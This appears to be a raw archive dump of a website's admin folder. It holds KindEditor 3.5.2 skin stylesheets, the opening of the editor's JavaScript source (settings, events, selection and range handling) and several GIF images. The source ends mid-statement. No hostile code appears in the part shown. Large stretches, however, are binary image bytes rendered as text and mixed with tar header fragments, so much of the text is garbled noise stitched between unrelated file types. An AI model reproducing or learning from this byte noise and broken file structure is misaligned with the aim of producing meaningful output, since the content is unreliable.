border:0; margin:0; padding:0; text-align: center; vertical-align: middle; } .ke-bottom-left-img { display: -moz-inline-stack; display: inline-block; vertical-align: middle; zoom: 1; *display: inline; background-position: -0px -754px; width: 15px; height: 11px; background-image: url(./default/default.gif); margin: 0; padding: 0; border: 0; } .ke-bottom-right { cursor: se-resize; border:0; margin:0; padding:0; text-align: right; vertical-align: bottom; } .ke-bottom-right-img { display: -moz-inline-stack; display: inline-block; vertical-align: middle; zoom: 1; *display: inline; background-position: -9px -745px; width: 7px; height: 7px; background-image: url(./default/default.gif); margin: 0; padding: 0; border: 0; } .ke-textarea-outer { border: 0; padding: 0; margin: 0; } .ke-textarea-table { width: 100%; padding: 0; margin: 0; border-top: 1px solid #CCCCCC; border-bottom: 1px solid #CCCCCC; border-left:0; border-right:0; background-color: #FFFFFF; border-collapse:separate; table-layout: fixed; } .ke-textarea-table td { border:0; padding:0; margin:0; } .ke-textarea { width: 100%; display: block; margin: 0; padding: 0; border: 0; background-color: #FFFFFF; color: #000000; font-size: 12px; font-family: "Consolas", "Monaco", "Bitstream Vera Sans Mono", "Courier New", Courier, monospace !important; line-height: 18px; overflow: auto; resize: none; } .ke-textarea:focus { outline: none; } .ke-iframe { width: 100%; display: block; margin: 0; padding: 0; border: 0; background-color: #FFFFFF; } .ke-common-icon { margin: 0; padding: 0; border: 0; background-repeat: no-repeat; overflow: hidden; display: -moz-inline-stack; display: inline-block; vertical-align: middle; zoom: 1; *display: inline; } .ke-common-icon-url { background-image: url(./default/default.gif); } .ke-icon { display: block; border: 1px solid #F0F0EE; background-color: transparent; padding: 1px 2px; margin: 1px; cursor: pointer; } .ke-icon-on { border: 1px solid #5690D2; } .ke-icon-selected { border: 1px solid #5690D2; background-color: #E9EFF6; } .ke-icon-disabled { border: 1px solid #F0F0EE; cursor: default; } .ke-menu { position: absolute; border: 1px solid #A0A0A0; background-color: #F1F1F1; color: #222222; padding: 2px; margin: 0; font-family: "sans serif",tahoma,verdana,helvetica; font-size: 12px; text-align: left; z-index: 19811214; } .ke-menu-item { border: 1px solid #F1F1F1; background-color: #F1F1F1; color: #222222; padding: 0; margin: 0; height: 24px; overflow: hidden; cursor: pointer; } .ke-menu-item-on { border: 1px solid #5690D2; background-color: #E9EFF6; } .ke-menu-left { border: 0; margin: 0; padding: 0; width: 20px; overflow: hidden; display: -moz-inline-stack; display: inline-block; vertical-align: middle; zoom: 1; *display: inline; } .ke-menu-center { margin: 0; padding: 0; width: 0; height: 24px; border-top: 0; border-bottom: 0; border-left: 1px solid #F1F1F1; border-right: 1px solid #F1F1F1; display: -moz-inline-stack; display: inline-block; vertical-align: middle; zoom: 1; *display: inline; } .ke-menu-center-on { border-left: 1px solid #E9EFF6; border-right: 1px solid #E9EFF6; } .ke-menu-right { border: 0; margin: 0; padding: 0; line-height: 24px; text-align: left; overflow: hidden; display: -moz-inline-stack; display: inline-block; vertical-align: middle; zoom: 1; *display: inline; } .ke-menu-separator { margin: 2px 0; padding: 0; height: 0; overflow: hidden; border-top: 1px solid #CCCCCC; border-bottom: 1px solid #FFFFFF; border-left: 0; border-right: 0; } .ke-contextmenu { position: absolute; border: 1px solid #A0A0A0; background-color: #F1F1F1; color: #222222; padding: 2px; margin: 0; width: 200px; font-family: "sans serif",tahoma,verdana,helvetica; font-size: 12px; text-align: left; z-index: 19811214; } .ke-contextmenu-item { border: 1px solid #F1F1F1; background-color: #F1F1F1; color: #222222; padding: 0; margin: 0; height: 24px; overflow: hidden; cursor: pointer; } .ke-contextmenu-item-on { border: 1px solid #5690D2; background-color: #E9EFF6; } .ke-contextmenu-left { border: 0; margin: 0; padding: 0; width: 27px; text-align: center; overflow: hidden; display: -moz-inline-stack; display: inline-block; vertical-align: middle; zoom: 1; *display: inline; } .ke-contextmenu-center { margin: 0; padding: 0; width: 0; height: 24px; border-left: 1px solid #E3E3E3; border-right: 1px solid #FFFFFF; border-top: 0; border-bottom: 0; display: -moz-inline-stack; display: inline-block; vertical-align: middle; zoom: 1; *display: inline; } .ke-contextmenu-center-on { border-left: 1px solid #E9EFF6; border-right: 1px solid #E9EFF6; } .ke-contextmenu-right { border: 0; margin: 0; padding: 0 0 0 5px; line-height: 24px; text-align: left; overflow: hidden; display: -moz-inline-stack; display: inline-block; vertical-align: middle; zoom: 1; *display: inline; } .ke-contextmenu-separator { margin: 2px 0; padding: 0; height: 0; overflow: hidden; border-top: 1px solid #CCCCCC; border-bottom: 1px solid #FFFFFF; border-left: 0; border-right: 0; } .ke-dialog { position: absolute; border:0; margin:0; padding:0; } .ke-dialog-no-shadow { border: 1px solid #A0A0A0; background-color: #F0F0EE; color: #222222; } .ke-dialog-table { border:0; padding:0; margin:0; border-collapse:separate; empty-cells:show; } span.ke-dialog-empty { display:block; width:5px; height:5px; line-height:0; margin: 0; padding: 0; border: 0; } .ke-mc { border: 1px solid #F0F0EE; margin:0; padding:0; background-color: #F0F0EE; color: #222222; } .ke-tl, .ke-tc, .ke-tr, .ke-ml, .ke-mr, .ke-bl, .ke-bc, .ke-br { background-color:#000; filter:alpha(opacity=20); opacity:0.2; font-size:0; line-height:0; overflow:hidden; border:0; margin:0; padding:0; } .ke-ml, .ke-mr { width:5px; } .ke-tc, .ke-bc { height:5px; } .ke-tl, .ke-tr, .ke-bl, .ke-br { width:5px; height:5px; } .ke-tl { -moz-border-radius:5px 0 0 0; border-radius:5px 0 0 0; } .ke-tr { -moz-border-radius:0 5px 0 0; border-radius:0 5px 0 0; } .ke-bl { -moz-border-radius:0 0 0 5px; border-radius:0 0 0 5px; } .ke-br { -moz-border-radius:0 0 5px 0; border-radius:0 0 5px 0; } .ke-dialog-title { border:0; margin:0; padding:0; background-color: #F0F0EE; padding: 10px; text-align: left; font: 14px/1 "sans serif",tahoma,verdana,helvetica; font-weight: bold; color: #222222; cursor: move; } .ke-dialog-close { display: block; background-position: 0px -688px; width: 16px; height: 16px; position: absolute; border: 0; margin: 0; padding: 0; right: 15px; top: 15px; cursor: pointer; background-image: url(./default/default.gif); overflow: hidden; } .ke-dialog-close-shadow { right: 15px; top: 15px; } .ke-dialog-close-no-shadow { right: 10px; top: 10px; } .ke-dialog-body { border:0; margin:0; padding:0; margin: 10px 10px 0 10px; } .ke-dialog-iframe { display: block; margin: 0; padding: 0; } .ke-dialog-iframe-border { border: 1px solid #A0A0A0; } .ke-dialog-bottom { border:0; margin:0; padding:0; font: 12px/1 "sans serif",tahoma,verdana,helvetica; text-align: right; padding:0 0 5px 0; } .ke-dialog-preview { margin: 5px; } .ke-dialog-yes { margin: 5px; } .ke-dialog-no { margin: 5px 10px 5px 5px; } .ke-mask { border:0; margin:0; padding:0; position: absolute; z-index: 19811212; top: 0; left: 0; display: none; background-color: #FFFFFF; } .ke-button { font-family: "sans serif",tahoma,verdana,helvetica; font-size: 12px; line-height: 1; padding: 2px 10px; } .ke-text-input { background-color:#FFFFFF; font-family: "sans serif",tahoma,verdana,helvetica; font-size: 12px; line-height: 1; } .ke-colorpicker { position: absolute; border: 1px solid #A0A0A0; background-color: #F1F1F1; color: #222222; padding: 2px; margin: 0; font-size: 12px; text-align: left; } .ke-colorpicker-table { border:0; margin:0; padding:0; border-collapse: separate; } .ke-colorpicker-cell { font-size: 0; line-height: 0; border: 1px solid #F0F0EE; cursor: pointer; margin:3px; padding:0; } .ke-colorpicker-cell-top { font-family: "sans serif",tahoma,verdana,helvetica; font-size: 12px; line-height: 24px; border: 1px solid #F0F0EE; cursor: pointer; margin:0; padding:0; text-align: center; } .ke-colorpicker-cell-on { border: 1px solid #5690D2; } .ke-colorpicker-cell-selected { border: 1px solid #2446AB; } .ke-colorpicker-cell-color { width: 14px; height: 14px; margin: 3px; padding: 0; border: 0; } .ke-loading-table { border:0; margin:0; padding:0; border-collapse: separate; } .ke-loading-table td{ border:0; margin:0; padding:0; font-size: 12px; text-align: center; vertical-align: middle; } .ke-loading-img { display: -moz-inline-stack; display: inline-block; vertical-align: middle; zoom: 1; *display: inline; background-repeat: no-repeat; background-image: url(./common/loading.gif); width: 16px; height: 16px; margin: 0; padding: 0; border: 0; } .ke-reset { margin: 0; padding: 0; border: 0; } .ke-plugin-emoticons-wrapper { position: relative; margin: 0; padding: 0; border: 0; } .ke-plugin-emoticons-preview { position: absolute; text-align: center; margin: 2px; padding: 10px; top: 0; border: 1px solid #A0A0A0; background-color: #FFFFFF; display: none; } .ke-plugin-emoticons-table { border:0; margin:0; padding:0; border-collapse:separate; } .ke-plugin-emoticons-cell { margin:0; padding:1px; border:1px solid #F0F0EE; cursor:pointer; } .ke-plugin-emoticons-cell-on { border: 1px solid #5690D2; background-color: #E9EFF6; } .ke-plugin-emoticons-img { display:block; background-repeat:no-repeat; overflow:hidden; margin:2px; width:24px; height:24px; background-image:url(../plugins/emoticons/qq.gif); margin: 0; padding: 0; border: 0; } .ke-plugin-emoticons-page { text-align: right; margin: 5px; padding: 0; border: 0; font-family: "sans serif",tahoma,verdana,helvetica; font-size:12px; line-height: 1; color: #333333; text-decoration: none; } .ke-plugin-emoticons-page a { color: #337FE5; text-decoration: none; } cheapuggsales.uk.com/admin_frad/kindeditor/skins/default/0000777000000000000000000000000011633550314022562 5ustar rootrootcheapuggsales.uk.com/admin_frad/kindeditor/skins/default/default.gif0000777000000000000000000001750711633550314024712 0ustar rootrootGIF89a<4 AAAf̵ӄ̙ȖBaq`H!!!Ca$G۳itTbtA|lRR 7WFF1Htm`4,jffӌǮB@s؊CC̙<,h 4fjupA, ܱǭ͇*(OOO4R]g4Jd鍉sq٣ ֓dPրdr%%ӰkxYk<0okW@ԣ) 9?Qkd ndJeY.nC.PŌ&$|||K-Tyufff跷??c7=WFdk%"35*Imh(Zx=8)$Z[[[wDVtTf0ĸѕmtrt܊k)ǩߺާĎĽ޷֮ށ-O޿$Y|ͧв)ԓMCUU2)?..+"5fWT a`<5Dxau OKW;-۩M` L2!, *jɃgٳS 3cf Z\T?-)%XG+j (uX 3Xk+7BӅ%fXɍ8#8YXu@meE3Pc"jg Ն0a8E$ "yȽƩi*ۂWAơ+<+ )ƑxP,[un捀5: B k"wӧ>Db5tWKԀ9n{7C$pJ5(8S baL@1jR%DY| ic饘> !=`*zwYPI(Op +J*ժf j?x!{ , {Z>L7m8Aɳm1HQ8dmSNo4.+D,dцq,R4d>{܋74d Eq,J>#\.kviLS﮼ 4H7 9s =pB)L8 8a!X*؆p"!t 'mHwa#8w23OBp@B4pI'egwyB0n*䠏#mԭ;#6 D;+oEi&p l`L2`5Pȣ 'i!Rψ*L)!R>(efJq;bԡ,eZ{ (D0㗙. bR "LcY]F 4b28mQb>+H)LA*!azf<9OK<]0HbS=0 *Ȑ18 a \F:!bLTC1 Ŧ-lA.VJӚ"@Z)uJʧI+9EOe1&h@(. cWI=-P]!`#z?\ j@. v_ Ů*^N/$Wϸ`1a X,vcYNle7Y^1le? N6jֺVGU-gEvlOֲnkZ7%np\]PdY6` !u񺶼.uvO8}4iU/dWi"@w8>Ȗ {{qR !鰈=8'BLjP#134îαqXX1pAbqQXcrXMkY~VX!e*SXT沏Z!O2N69j^3畐l֌w%.y'Bˡ l5FЊ(mEW11HO aFڡӞ3a UM@Ѕ @PT ßV Y d9s-0 h@ +X@Аq2&Wĵu#,1pnzF D8b3wq\3w΂/s8%hGtŁ!BF"G=Ag/z$B3I"pO"Xd AhE`{8T@̴)I *<35 0,3P f]0V q߸3cY D&BpP,]$x| ZP[Eq"x @4t"As lFC,x?dۛE ћ%&uu_#?gzCͯ R"_2~؇9- ! pCR#PfP~E> ` 2 |gx!!(|8a0 O'~~KP+B~3~g]>w2za  8L !7~LW÷z%](_󧅺ge#5X8ZJ0H@=:B$@g0 <8 1k ǰj cJJ  Htw h0H(Ǡ W 0 xhytXؠt p th~f(`=f L@ ЏYi@ՏL  ȏ "  g  " g  . ɓ H@ A?L,YP 0+ْWHZ)N0 :2I YphLP Ўiu[d&h~~hY;g hYƘ6֗fe4TgNMə|VyX{`&v֚xYEeU_g7f]a]y_+dYgҩZb)ZQ$T ESU @:bSe 蹞4Ud iO@PNG9X8Ipz9U@R ڠENp f&z(= qa 4Z6J+@> @@j :L ND% S ȤL:Z*EJ1 `zb d\*fn\gj/p1bp \(X<#+ Ey H23x5 !`40Ȩ+24`AX4D"x! pK0 >b>p:⫿ &Y?ڢ =%: 5 jP S j ]== P ]=Gj #] j'E1# ;j p=P tq`# pl $Ppߩ#=P"DNP ZHh ap]p Oe0 P G= V p5IᠯG0o{#p0 3 =p5PE]RG n{[` P STu0I`[ze $4P'C^"1 U뺯&U`$2 U& +K`M2ΫK`1 1>A; 2!+&J>k  $"}+ݗ` I ;)#el!¨0 P³1!!³.< a\óA$L 42 21B|n732p B,!1gRIEÃ!cJ!1AB,Tp5cd<*z %"l,xLŃ<Ȭ!QQ2\"Ea41 #dL{eɛ ɨܚ|ʨ,NɤL\ P<!a όR n:bz0 ¬̽u zOcMi4ͻp Ǩ +ܸz +zOÍ˙ | 3 @ -@  ͎}i E yَ:  MPp@ - 8! s-Ж = L>j+ @ @ ԇ+1 0P ࣇ0=lMP^pװ,`,E .. ך0mf = ْ>8PO m -@ ڂnO }ote(` 0 /WOU ]gm πrƀN4܎5ݿP؃#w0"]HYp i'> ,v] -% qP+PP @aQǍV P"^ w+(Q @*Y޻mޚ0]Yr+D^((107#:&'ZsP+Z" /Ҁ2*+  N^3 /Jg ?0? |>01a%../P޺s^w{hl#<" B븲Y]Pi#DОD`]`@r| D ^]   8Q_ ` 0EE` r~'0|0JW | ɞ  y` _pp w +OyE" @@ @p `0 X0/`@/@NX@Xq >K Ġ K: P D ܐ; Q%[T?ͼm  uo. /@4 rO…\y)g<CtD14øBb:<& 3\o=7# @h7sֆ6g<-UFŚU֨„],DCL̊*EHhu+0.tdݬyXJC5_Bb$\|NTgu$擘R)J C ] yTd횐 }*#A2?-A:yeЕPhKJ)ģQ.K?R[3cFe_~0@$Ts\IM B+-ڐ! ią8 dQ$ oFZ"3x ga j!I%T%fࠆ\j`2 r 3Lr 39B5hͬr N_< ;M2\6[+I03a.#B/;IYg8ɘa9+Ҩ.0+ D= R%H\RX5+AشO+zXI"gRH_m5UUOA[9[oU([2DSMEl8 ӗ: 42\]@%D]Q XK(Ls6ԬHNMV\+d`nexjvXIEvbg/("UZ{EQ)Y` 'ytf}hsOa񬪑 ݱJĜ|O shP^zq6fx z,PU&>XP:oP+I󓙓4,\.- *1}CKX2"VjN&ҺFpG?{T]#W2a:@<+X'Ddz2-v fDb9b<>09 ܢ2"-^B¶-Z t[N nmPX}npVF[Ss'V,Lu{|:2g+Y͊Vn\˛5zJ/Grױl~R^6,:+viQ{ղodlY[qJszKp.QD+d™t vgÜkHtl]j$d$Y!KvrXd('We_>r@;cheapuggsales.uk.com/admin_frad/kindeditor/skins/common/0000777000000000000000000000000011633550314022426 5ustar rootrootcheapuggsales.uk.com/admin_frad/kindeditor/skins/common/rm.gif0000777000000000000000000000173511633550314023544 0ustar rootrootGIF89a IWhoX|i,^PV@{ޚ}x[#A7{|Λ3feVZ3ϞIGÿ1zofړ{:3ۧJhp}r挸UKmSnLݰ!gľk3^] в|g)GpOGdĔጽkbEa!, 47UU743b0qq0b3J^s'U3443U's^J7'@4J34@'7VYY7V7{tUeeL55Lt{ĈJc@9X&Mr5]ic)cHQ&h,aMMj4ѤK6b,T͆ P@ JxL glIB H̄BrDA Mx'yF9#Q H 4"삀Jt}QMtV>("׍A $>x7`! f K $nj0<:Ah@ѕ h-@`` ) ޘiaɛW\Hp ןRΝ=(S(b 4ٯ #GQp}Zh/ g8fE{`E~@(7_Ƹ3ĊzA*ǤA@!=~bEtGݠNE8P 8`^rd 7 KB g*H &JR4]B|PnXaC U>i. wAIMy *ƖK>Ll\lj$ WL0Aǩ9AaxD p)J+DA(ҒER`i R-2;cheapuggsales.uk.com/admin_frad/kindeditor/skins/common/loading.gif0000777000000000000000000000151711633550314024541 0ustar rootrootGIF89a888&&&֨vvvfff䘘HHHVVV! NETSCAPE2.0!Created with ajaxload.info! ,P di0l!*`Ƒ5و[<iP),IZ$bH85&x5k <yB! ,h GҌh*ਨ@$E}eh @ LcQGBP5 <5UdQ+"g0Ak#A nI0$K7 H,-t*E-``1@C7h/1f\)&!;cheapuggsales.uk.com/admin_frad/kindeditor/skins/common/flash.gif0000777000000000000000000000210111633550314024207 0ustar rootrootGIF89a $=2k\}t Imj|Kjzaw * @site http://www.kindsoft.net/ * @licence LGPL(http://www.opensource.org/licenses/lgpl-license.php) * @version 3.5.2 (2010-12-02) *******************************************************************************/ (function (undefined) { var KE = {}; KE.version = '3.5.2 (2010-12-02)'; KE.scriptPath = (function() { var elements = document.getElementsByTagName('script'); for (var i = 0, len = elements.length; i < len; i++) { if (elements[i].src && elements[i].src.match(/kindeditor[\w\-\.]*\.js/)) { return elements[i].src.substring(0, elements[i].src.lastIndexOf('/') + 1); } } return ''; })(); KE.browser = (function() { var ua = navigator.userAgent.toLowerCase(); return { VERSION: ua.match(/(msie|firefox|webkit|opera)[\/:\s](\d+)/) ? RegExp.$2 : '0', IE: (ua.indexOf('msie') > -1 && ua.indexOf('opera') == -1), GECKO: (ua.indexOf('gecko') > -1 && ua.indexOf('khtml') == -1), WEBKIT: (ua.indexOf('applewebkit') > -1), OPERA: (ua.indexOf('opera') > -1) }; })(); KE.setting = { wyswygMode : true, loadStyleMode : true, resizeMode : 2, filterMode : false, autoSetDataMode : true, shadowMode : true, urlType : '', skinType : 'default', newlineTag : 'p', dialogAlignType : 'page', cssPath : '', skinsPath : KE.scriptPath + 'skins/', pluginsPath : KE.scriptPath + 'plugins/', minWidth : 200, minHeight : 100, minChangeSize : 5, toolbarLineHeight : 24, statusbarHeight : 11, items : [ 'source', '|', 'fullscreen', 'undo', 'redo', 'print', 'cut', 'copy', 'paste', 'plainpaste', 'wordpaste', '|', 'justifyleft', 'justifycenter', 'justifyright', 'justifyfull', 'insertorderedlist', 'insertunorderedlist', 'indent', 'outdent', 'subscript', 'superscript', '|', 'selectall', '-', 'title', 'fontname', 'fontsize', '|', 'textcolor', 'bgcolor', 'bold', 'italic', 'underline', 'strikethrough', 'removeformat', '|', 'image', 'flash', 'media', 'advtable', 'hr', 'emoticons', 'link', 'unlink', '|', 'about' ], colorTable : [ ['#E53333', '#E56600', '#FF9900', '#64451D', '#DFC5A4', '#FFE500'], ['#009900', '#006600', '#99BB00', '#B8D100', '#60D978', '#00D5FF'], ['#337FE5', '#003399', '#4C33E5', '#9933E5', '#CC33E5', '#EE33EE'], ['#FFFFFF', '#CCCCCC', '#999999', '#666666', '#333333', '#000000'] ], noEndTags : ['br', 'hr', 'img', 'area', 'col', 'embed', 'input', 'param'], inlineTags : ['b', 'del', 'em', 'font', 'i', 'span', 'strike', 'strong', 'sub', 'sup', 'u'], endlineTags : [ 'br', 'hr', 'table', 'tbody', 'td', 'tr', 'th', 'div', 'p', 'ol', 'ul', 'li', 'blockquote', 'h1', 'h2', 'h3', 'h4', 'h5', 'h6', 'script', 'style', 'marquee' ], htmlTags : { font : ['color', 'size', 'face', '.background-color'], span : [ '.color', '.background-color', '.font-size', '.font-family', '.background', '.font-weight', '.font-style', '.text-decoration', '.vertical-align' ], div : [ 'align', '.border', '.margin', '.padding', '.text-align', '.color', '.background-color', '.font-size', '.font-family', '.font-weight', '.background', '.font-style', '.text-decoration', '.vertical-align', '.margin-left' ], table: [ 'border', 'cellspacing', 'cellpadding', 'width', 'height', 'align', 'bordercolor', '.padding', '.margin', '.border', 'bgcolor', '.text-align', '.color', '.background-color', '.font-size', '.font-family', '.font-weight', '.font-style', '.text-decoration', '.background', '.width', '.height' ], 'td,th': [ 'align', 'valign', 'width', 'height', 'colspan', 'rowspan', 'bgcolor', '.text-align', '.color', '.background-color', '.font-size', '.font-family', '.font-weight', '.font-style', '.text-decoration', '.vertical-align', '.background' ], a : ['href', 'target', 'name'], embed : ['src', 'width', 'height', 'type', 'loop', 'autostart', 'quality', '.width', '.height', 'align', 'allowscriptaccess', '/'], img : ['src', 'width', 'height', 'border', 'alt', 'title', '.width', '.height', '/'], hr : ['/'], br : ['/'], 'p,ol,ul,li,blockquote,h1,h2,h3,h4,h5,h6' : [ 'align', '.text-align', '.color', '.background-color', '.font-size', '.font-family', '.background', '.font-weight', '.font-style', '.text-decoration', '.vertical-align', '.text-indent', '.margin-left' ], 'tbody,tr,strong,b,sub,sup,em,i,u,strike' : [] }, mediaTypes : { rm : 'audio/x-pn-realaudio-plugin', flash : 'application/x-shockwave-flash', media : 'video/x-ms-asf-plugin' } }; KE.g = {}; KE.plugin = {}; KE.$ = function(id, doc){ var doc = doc || document; return doc.getElementById(id); }; KE.$$ = function(name, doc){ var doc = doc || document; return doc.createElement(name); }; KE.event = { add : function(el, type, fn, id) { if (el.addEventListener){ el.addEventListener(type, fn, false); } else if (el.attachEvent){ el.attachEvent('on' + type, fn); } if (id !== undefined) { KE.g[id].eventStack.push({ el : el, type : type, fn : fn }); } }, remove : function(el, type, fn, id) { if (el.removeEventListener){ el.removeEventListener(type, fn, false); } else if (el.detachEvent){ el.detachEvent('on' + type, fn); } if (id !== undefined) { var stack = KE.g[id].eventStack; for (var i = 0, len = stack.length; i < len; i++) { var item = stack[i]; if (item && el === item.el && type === item.type && fn === item.fn) { delete stack[i]; } } } }, stop : function(e) { if (e.preventDefault) e.preventDefault(); if (e.stopPropagation) e.stopPropagation(); if (e.cancelBubble !== undefined) e.cancelBubble = true; if (e.returnValue !== undefined) e.returnValue = false; }, bind : function(el, type, fn, id) { this.add(el, type, function(e) { fn(e); KE.event.stop(e); return false; }, id); }, input : function(el, func, id) { this.add(el, 'keyup', function(e) { if (!e.ctrlKey && !e.altKey && (e.keyCode < 16 || e.keyCode > 18) && e.keyCode != 116) { func(e); KE.event.stop(e); return false; } }, id); function handler (e) { window.setTimeout(function() { func(e); }, 1); } var newElement = (el.nodeName == '#document') ? el.body : el; this.add(newElement, 'paste', handler, id); this.add(newElement, 'cut', handler, id); }, ctrl : function(el, key, func, id) { key = key.toString().match(/^\d{2,}$/) ? key : key.toUpperCase().charCodeAt(0); this.add(el, 'keydown', function(e) { if (e.ctrlKey && e.keyCode == key && !e.shiftKey && !e.altKey) { func(e); KE.event.stop(e); return false; } }, id); }, ready : function(func, win, doc, id) { var win = win || window; var doc = doc || document; var loaded = false; var readyFunc = function() { if (loaded) return; loaded = true; func(); }; if (doc.addEventListener) { this.add(doc, "DOMContentLoaded", readyFunc, id); } else if (doc.attachEvent){ this.add(doc, "readystatechange", function() { if (doc.readyState == "complete") readyFunc(); }, id); if ( doc.documentElement.doScroll && typeof win.frameElement === "undefined" ) { var ieReadyFunc = function() { if (loaded) return; try { doc.documentElement.doScroll("left"); } catch(e) { window.setTimeout(ieReadyFunc, 0); return; } readyFunc(); }; ieReadyFunc(); } } this.add(win, 'load', readyFunc, id); } }; KE.each = function(obj, func) { for (var key in obj) { if (obj.hasOwnProperty(key)) func(key, obj[key]); } }; KE.eachNode = function(node, func) { var walkNodes = function(parent) { if (KE.util.getNodeType(parent) != 1) return true; var n = parent.firstChild; while (n) { var next = n.nextSibling; if (!func(n)) return false; if (!walkNodes(n)) return false; n = next; } return true; }; walkNodes(node); }; KE.selection = function(doc) { this.sel = null; this.range = null; this.keRange = null; this.isControl = false; var win = doc.parentWindow || doc.defaultView; this.init = function() { var sel = win.getSelection ? win.getSelection() : doc.selection; var range; try { if (sel.rangeCount > 0) range = sel.getRangeAt(0); else range = sel.createRange(); } catch(e) {} if (!range) range = KE.util.createRange(doc); this.sel = sel; this.range = range; var startNode, startPos, endNode, endPos; if (KE.browser.IE) { if (range.item) { this.isControl = true; var el = range.item(0); startNode = endNode = el; startPos = endPos = 0; } else { this.isControl = false; var getStartEnd = function(isStart) { var pointRange = range.duplicate(); pointRange.collapse(isStart); var parentNode = pointRange.parentElement(); var nodes = parentNode.childNodes; if (nodes.length == 0) return {node: parentNode, pos: 0}; var startNode; var endElement; var startPos = 0; var isEnd = false; var testRange = range.duplicate(); KE.util.moveToElementText(testRange, parentNode); for (var i = 0, len = nodes.length; i < len; i++) { var node = nodes[i]; var cmp = testRange.compareEndPoints('StartToStart', pointRange); if (cmp > 0) { isEnd = true; } else if (cmp == 0) { if (node.nodeType == 1) { var keRange = new KE.range(doc); keRange.selectTextNode(node); return {node: keRange.startNode, pos: 0}; } else { return {node: node, pos: 0}; } } if (node.nodeType == 1) { var nodeRange = range.duplicate(); KE.util.moveToElementText(nodeRange, node); testRange.setEndPoint('StartToEnd', nodeRange); if (isEnd) startPos += nodeRange.text.replace(/\r\n|\n|\r/g, '').length; else startPos = 0; } else if (node.nodeType == 3) { //fix bug: typeof node.nodeValue can return "unknown" in IE. if (typeof node.nodeValue === 'string') { testRange.moveStart('character', node.nodeValue.length); startPos += node.nodeValue.length; } } if (!isEnd) startNode = node; } if (!isEnd && startNode.nodeType == 1) { var startNode = parentNode.lastChild; return {node: startNode, pos: startNode.nodeType == 1 ? 1 : startNode.nodeValue.length}; } testRange = range.duplicate(); KE.util.moveToElementText(testRange, parentNode); testRange.setEndPoint('StartToEnd', pointRange); startPos -= testRange.text.replace(/\r\n|\n|\r/g, '').length; return {node: startNode, pos: startPos}; }; var start = getStartEnd(true); var end = getStartEnd(false); startNode = start.node; startPos = start.pos; endNode = end.node; endPos = end.pos; } } else { startNode = range.startContainer; startPos = range.startOffset; endNode = range.endContainer; endPos = range.endOffset; if (startNode.nodeType == 1 && typeof startNode.childNodes[startPos] != 'undefined') { startNode = startNode.childNodes[startPos]; startPos = 0; } if (endNode.nodeType == 1) { endPos = endPos == 0 ? 1 : endPos; if (typeof endNode.childNodes[endPos - 1] != 'undefined') { endNode = endNode.childNodes[endPos - 1]; endPos = (endNode.nodeType == 1) ? 0 : endNode.nodeValue.length; } } this.isControl = (startNode.nodeType == 1 && startNode === endNode && range.startOffset + 1 == range.endOffset); if (startNode.nodeType == 1 && endNode.nodeType == 3 && endPos == 0 && endNode.previousSibling) { var node = endNode.previousSibling; while (node) { if (node === startNode) { endNode = startNode; break; } if (node.childNodes.length != 1) break; node = node.childNodes[0]; } } if (range.collapsed) { var keRange = new KE.range(doc); keRange.setTextStart(startNode, startPos); endNode = keRange.startNode; endPos = keRange.startPos; } } var keRange = new KE.range(doc); keRange.setTextStart(startNode, startPos); keRange.setTextEnd(endNode, endPos); this.keRange = keRange; }; this.init(); this.addRange = function(keRange) { if (KE.browser.GECKO && KE.browser.VERSION < 3) return; this.keRange = keRange; if (KE.browser.IE) { var getEndRange = function(isStart) { var range = KE.util.createRange(doc); var node = isStart ? keRange.startNode : keRange.endNode; if (node.nodeType == 1) { KE.util.moveToElementText(range, node); range.collapse(isStart); } else if (node.nodeType == 3) { range = KE.util.getNodeStartRange(doc, node); var pos = isStart ? keRange.startPos : keRange.endPos; range.moveStart('character', pos); } return range; } if (!this.range.item) { var node = keRange.startNode; if (node == keRange.endNode && KE.util.getNodeType(node) == 1 && KE.util.getNodeTextLength(node) == 0) { var temp = doc.createTextNode(" "); node.appendChild(temp); KE.util.moveToElementText(this.range, node); this.range.collapse(false); this.range.select(); node.removeChild(temp); } else { if (node.nodeType == 3 && keRange.collapsed()) { this.range = getEndRange(true); this.range.collapse(true); } else { this.range.setEndPoint('StartToStart', getEndRange(true)); this.range.setEndPoint('EndToStart', getEndRange(false)); } this.range.select(); } } } else { var getNodePos = function(node) { var pos = 0; while (node) { node = node.previousSibling; pos++; } return --pos; }; var range = new KE.range(doc); range.setTextStart(keRange.startNode, keRange.startPos); range.setTextEnd(keRange.endNode, keRange.endPos); var startNode = range.startNode; var endNode = range.endNode; if (KE.util.getNodeType(startNode) == 88) { this.range.setStart(startNode.parentNode, getNodePos(range.startNode)); } else { this.range.setStart(startNode, range.startPos); } if (KE.util.getNodeType(endNode) == 88) { this.range.setEnd(endNode.parentNode, getNodePos(range.endNode) + 1); } else { this.range.setEnd(endNode, range.endPos); } this.sel.removeAllRanges(); this.sel.addRange(this.range); } }; this.focus = function() { if (KE.browser.IE && this.range != null) this.range.select(); } }; KE.range = function(doc) { this.startNode = null; this.startPos = null; this.endNode = null; this.endPos = null; this.getParentElement = function() { var scanParent = function(node, func) { while (node && (!node.tagName || node.tagName.toLowerCase() != 'body')) { node = node.parentNode; if (func(node)) return; } } var nodeList = []; scanParent(this.startNode, function(node) { nodeList.push(node); }); var parentNode; scanParent(this.endNode, function(node) { if (KE.util.inArray(node, nodeList)) { parentNode = node; return true; } }); return parentNode ? parentNode : doc.body; }; this.getNodeList = function() { var self = this; var parentNode = this.getParentElement(); var nodeList = []; var isStarted = false; if (parentNode == self.startNode) isStarted = true; if (isStarted) nodeList.push(parentNode); KE.eachNode(parentNode, function(node) { if (node == self.startNode) isStarted = true; var range = new KE.range(doc); range.selectTextNode(node); var cmp = range.comparePoints('START_TO_END', self); if (cmp > 0) { return false; } else if (cmp == 0) { if (range.startNode !== range.endNode || range.startPos !== range.endPos) return false; } if (isStarted) nodeList.push(node); return true; }); return nodeList; }; this.comparePoints = function(how, range) { var compareNodes = function(nodeA, posA, nodeB, posB) { var cmp; if (KE.browser.IE) { var getStartRange = function(node, pos, isStart) { var range = KE.util.createRange(doc); var type = KE.util.getNodeType(node); if (type == 1) { KE.util.moveToElementText(range, node); range.collapse(isStart); } else if (type == 3) { range = KE.util.getNodeStartRange(doc, node); range.moveStart('character', pos); range.collapse(true); } return range; } var rangeA, rangeB; if (how == 'START_TO_START' || how == 'START_TO_END') rangeA = getStartRange(nodeA, posA, true); else rangeA = getStartRange(nodeA, posA, false); if (how == 'START_TO_START' || how == 'END_TO_START') rangeB = getStartRange(nodeB, posB, true); else rangeB = getStartRange(nodeB, posB, false); return rangeA.compareEndPoints('StartToStart', rangeB); } else { var rangeA = 